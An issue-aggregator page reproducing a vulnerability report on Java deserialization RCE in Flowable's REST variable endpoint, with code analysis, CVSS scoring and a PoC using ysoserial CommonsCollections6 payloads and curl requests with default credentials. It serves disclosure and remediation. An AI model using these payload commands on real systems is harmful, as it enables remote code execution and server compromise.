Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

[SECURITY] Deserialization RCE via ProcessInstanceVariableResource.updateVariable (multipart) with type=serializable (CWE-502, CVSS 8.8)

オープン
#4,290 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
48/100
issue の種類
バグ
明瞭さ
おおむね明確
活発さ
活発
技術スタック
groovy, java, spring
領域
api, backend, security

調査の方向性

Start at ProcessInstanceVariableResource.updateVariable in repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/ProcessInstanceVariableResource.java, then trace setBinaryVariable in BaseExecutionVariableResource.java. Review the default rest.variables.allow.serializable setting in flowable-default.properties and verify the multipart type=serializable path no longer accepts unfiltered input while preserving the intended variable behavior.

索引モデルが issue の本文から書いたものです。

説明

Security Vulnerability Report -- CWE-502

Summary

The ProcessInstanceVariableResource's updateVariable endpoint, when receiving multipart/form-data requests with the form parameter type=serializable, directly uses ObjectInputStream.readObject() without JEP 290 filtering to deserialize uploaded file content. This capability is enabled under the default configuration (rest.variables.allow.serializable=true). Combined with gadget chain libraries such as Groovy and Spring present on the classpath, an attacker can achieve remote code execution (RCE) through an authenticated HTTP request.

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable REST API's PUT /runtime/process-instances/{processInstanceId}/variables/{variableName} endpoint, when receiving multipart/form-data type requests, calls BaseExecutionVariableResource.setBinaryVariable(). When the form parameter type=serializable, the method uses native java.io.ObjectInputStream.readObject() to directly deserialize the user-uploaded file byte stream, without configuring any ObjectInputFilter (JEP 290) class whitelist/blacklist. Java deserialization vulnerabilities are a well-researched class of high-severity vulnerabilities. An attacker can craft malicious serialized objects (gadget chains) to gain arbitrary code execution capability when readObject() is triggered. This feature is enabled by default under rest.variables.allow.serializable=true, and the classpath contains known gadget chain libraries such as groovy-jsr223 (org.apache.groovy) and Spring, making the RCE attack surface practically exploitable.

Exploitation Prerequisites
Condition Description
Authentication Requires HTTP Basic Auth, and under default authentication-mode=verify-privilege mode, user must have rest-api permission
Network Reachability Flowable REST API port reachable (default 8080)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57)
Business Prerequisites Target processInstanceId must be an existing running process instance
Classpath Dependency Need available gadget chain libraries; default deployed flowable-app-rest includes groovy-jsr223 and Spring framework
Trigger Location

repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-167

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();

Entry method at ProcessInstanceVariableResource.java:94-126:

@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables/{variableName}", produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("processInstanceId") String processInstanceId,
        @PathVariable("variableName") String variableName, HttpServletRequest request) {
    Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
    RestVariable result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, execution, false, false);
        // ...
Data Flow Overview
HTTP PUT multipart/form-data request (containing malicious serialized payload as file part, form field type=serializable)
  ↓
ProcessInstanceVariableResource.updateVariable()
  (ProcessInstanceVariableResource.java:94)
  ↓ Check request instanceof MultipartHttpServletRequest → true
  ↓
BaseExecutionVariableResource.setBinaryVariable(request, execution, false, false)
  (BaseExecutionVariableResource.java:102)
  ↓ Parse form parameter type=serializable, name=<variableName>
  ↓
Check isSerializableVariableAllowed (default true, from rest.variables.allow.serializable=true)
  (BaseExecutionVariableResource.java:162)
  ↓
new ObjectInputStream(file.getInputStream()) → stream.readObject()
  (BaseExecutionVariableResource.java:164-165)
  ↓ **Without any ObjectInputFilter filtering** → gadget chain executes during readObject()
  ↓
RCE triggered
Data Flow Detailed Code Analysis
Chain 1: multipart -> setBinaryVariable -> readObject()

Layer 1 — HTTP Entry (ProcessInstanceVariableResource.java:94-101)

@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables/{variableName}",
    produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("processInstanceId") String processInstanceId,
        @PathVariable("variableName") String variableName, HttpServletRequest request) {
    Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
    RestVariable result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, execution, false, false);
  • External input: multipart request, containing file part (attacker controls all bytes) and form fields name/type/scope
  • Operation: Only checks if request is MultipartHttpServletRequest, if so delegates directly to setBinaryVariable
  • Passed to next layer: (MultipartHttpServletRequest) request, execution object

Layer 2 — setBinaryVariable Parameter Parsing (BaseExecutionVariableResource.java:102-155)

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Execution execution,
        boolean isNew, boolean async) {
    // ...
    MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
    // ...
    Map<String, String[]> paramMap = request.getParameterMap();
    for (String parameterName : paramMap.keySet()) {
        if (paramMap.get(parameterName).length > 0) {
            if ("type".equalsIgnoreCase(parameterName)) {
                variableType = paramMap.get(parameterName)[0];
            }
            // ...
        }
    }
    if (variableType != null) {
        if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
            && !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
            throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
        }
    }
  • External input: file (byte stream fully controlled by attacker), form parameter type
  • Operation: type whitelist only allows "binary" or "serializable", does not restrict specific serialization classes
  • Passed to next layer: file.getInputStream() byte stream

Layer 3 — Sink: ObjectInputStream.readObject() (BaseExecutionVariableResource.java:162-167)

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();   // ← SINK: unfiltered deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
} else {
    throw new FlowableContentNotSupportedException("Serialized objects are not allowed");
}
  • External input: file.getInputStream() — raw byte stream of user-uploaded file
  • Operation: Directly new ObjectInputStream(file.getInputStream()) and calls readObject()
  • No ObjectInputFilter (JEP 290) configured: No stream.setObjectInputFilter() called, JVM also has no jdk.serialFilter configured
  • isSerializableVariableAllowed is read from env.getProperty("rest.variables.allow.serializable", Boolean.class, true), default value is true
  • Passed to next layer: Deserialized Object value (by this point gadget chain has already executed)

Layer 4 — Configuration Confirmation (flowable-default.properties:57)

# Enable/disable Java serializable objects to be passed as variables in the REST API.
rest.variables.allow.serializable=true

Default configuration explicitly enables the deserialization feature.

CVSS Breakdown

Using CVSS v3.1 scoring, vector string: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
Attack Vector (AV) Network Triggered remotely via HTTP REST API
Attack Complexity (AC) Low Attacker only needs to send a multipart POST/PUT request with type=serializable + malicious serialized payload, no special conditions
Privileges Required (PR) Low Requires HTTP Basic Auth (default verify-privilege mode requires rest-api permission), but no admin privileges needed
User Interaction (UI) None No user interaction required
Scope (S) Unchanged Vulnerability affects the Flowable application's own process
Confidentiality (C) High RCE can read all application data (database credentials, process variables, etc.)
Integrity (I) High RCE can tamper with database, process definitions, filesystem
Availability (A) High RCE can stop service, delete data

Overall Score: 8.8 (High)


PoC Verification Report

ProcessInstanceVariableResource.updateVariable Java Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: ProcessInstanceVariableResource updateVariable endpoint Java deserialization remote code execution
  2. Affected Component/Port: Flowable REST API port 8080, PUT /runtime/process-instances/{processInstanceId}/variables/{variableName} endpoint
  3. Vulnerability Description: When uploading a file via multipart/form-data and setting type=serializable, the system uses native ObjectInputStream.readObject() to deserialize the user-uploaded file byte stream without configuring any JEP 290 ObjectInputFilter, allowing an attacker to craft malicious serialized objects (gadget chains) to execute arbitrary code during deserialization
  4. Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← SINK: unfiltered deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}
  1. Brief Data Flow:
HTTP PUT multipart/form-data (file + type=serializable)
  ↓
ProcessInstanceVariableResource.updateVariable() (ProcessInstanceVariableResource.java:94)
  ↓ request instanceof MultipartHttpServletRequest
  ↓
BaseExecutionVariableResource.setBinaryVariable() (BaseExecutionVariableResource.java:102)
  ↓ Parse form parameter type=serializable
  ↓
ObjectInputStream stream = new ObjectInputStream(file.getInputStream())
  ↓
stream.readObject()  (BaseExecutionVariableResource.java:165)
  ↓ **Without ObjectInputFilter filtering**
  ↓
Gadget chain execution → RCE triggered

Exploitation Conditions

Condition Description
Authentication Requires HTTP Basic Auth (rest-admin:test), default authentication-mode=verify-privilege mode requires rest-api permission
Network Reachability Flowable REST API port 8080 reachable
Configuration Dependency rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57)
Business Prerequisites Target processInstanceId must be an existing running process instance
Classpath Dependency Need gadget chain libraries; default deployment includes commons-collections-3.2.2.jar, groovy-jsr223-4.0.23.jar, Spring 6.1.13, etc.

Exploitation Chain Progress

Successful Exploitation Example (CommonsCollections6 gadget chain):

Chain Stage Location (file:line) Status Evidence / Description
Entry ProcessInstanceVariableResource.java:94 Reached PUT multipart request entered updateVariable()
Parameter parsing BaseExecutionVariableResource.java:131 Reached type=serializable passed whitelist validation
Sink BaseExecutionVariableResource.java:165 Triggered readObject() deserialized CommonsCollections6 payload
Conclusion — Full Chain Closed RCE successful, server created file /root/workspace/tmp/entry_0629/RCE_PROOF_0629

Exploitation Verification

Execution Commands (end-to-end):

Generate CommonsCollections6 gadget chain payload and send:

TMPDIR="/root/workspace/tmp/entry_0629"
PROC_ID="03328176-8fff-11f1-a444-02423661ba3a"

# Generate payload (need --add-opens to bypass Java 17 module restrictions)
java --add-opens java.management/javax.management=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.io=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar "${TMPDIR}/ysoserial-all.jar" CommonsCollections6 "touch ${TMPDIR}/RCE_PROOF_0629" > "${TMPDIR}/payload_cc6.ser"

# Send malicious multipart request
curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID}/variables/put_rce_sh" \
  -F "file=@${TMPDIR}/payload_cc6.ser" \
  -F "type=serializable" \
  -F "name=put_rce_sh"

Actual Execution Result:

HTTP 200 OK, returned:

{"name":"put_rce_sh","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/03328176-8fff-11f1-a444-02423661ba3a/variables/put_rce_sh/data","scope":"local"}

Server filesystem verification:

$ ls -la /root/workspace/tmp/entry_0629/RCE_PROOF_0629
-rw-r----- 1 root root 0 Aug  4 12:27 /root/workspace/tmp/entry_0629/RCE_PROOF_0629

Second Confirmation (different variable name, same process instance):

java ... -jar "${TMPDIR}/ysoserial-all.jar" CommonsCollections6 "touch ${TMPDIR}/RCE_PROOF_0629_SECOND" > "${TMPDIR}/payload_cc6_second.ser"

curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID}/variables/evil_var2" \
  -F "file=@${TMPDIR}/payload_cc6_second.ser" \
  -F "type=serializable" \
  -F "name=evil_var2"

Result: HTTP 200, file /root/workspace/tmp/entry_0629/RCE_PROOF_0629_SECOND created successfully.

Third Confirmation (different process instance):

PROC_ID_2="0dd2629d-8fff-11f1-a444-02423661ba3a"
curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID_2}/variables/deser_var" \
  -F "file=@${TMPDIR}/payload_cc6_third.ser" \
  -F "type=serializable" \
  -F "name=deser_var"

Result: HTTP 200, file /root/workspace/tmp/entry_0629/RCE_PROOF_THIRD created successfully.

Conclusion: The attacker uploaded a file containing a malicious serialized object via HTTP PUT multipart request with type=serializable, successfully executing the touch command to create files on the Flowable server. Three independent tests (different variable names, different process instances) all successfully triggered RCE, proving the vulnerability is stably exploitable. The attacker can further leverage this vulnerability to read sensitive data, execute system commands, write webshells, or completely compromise the server.

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

主要言語
Java
スター
9.6k
フォーク
2.9k
平均マージ
1時間 9分
マージ済み PR(30日)
2

環境構築

  • Dockerfile・Docker Compose ファイルなし
  • プルリクエストのテンプレートあり
  • コントリビューションガイドなし

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

flowable/flowable-engine のほかの issue

flowable/flowable-engine の issue をすべて見る

似ている issue

Java の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。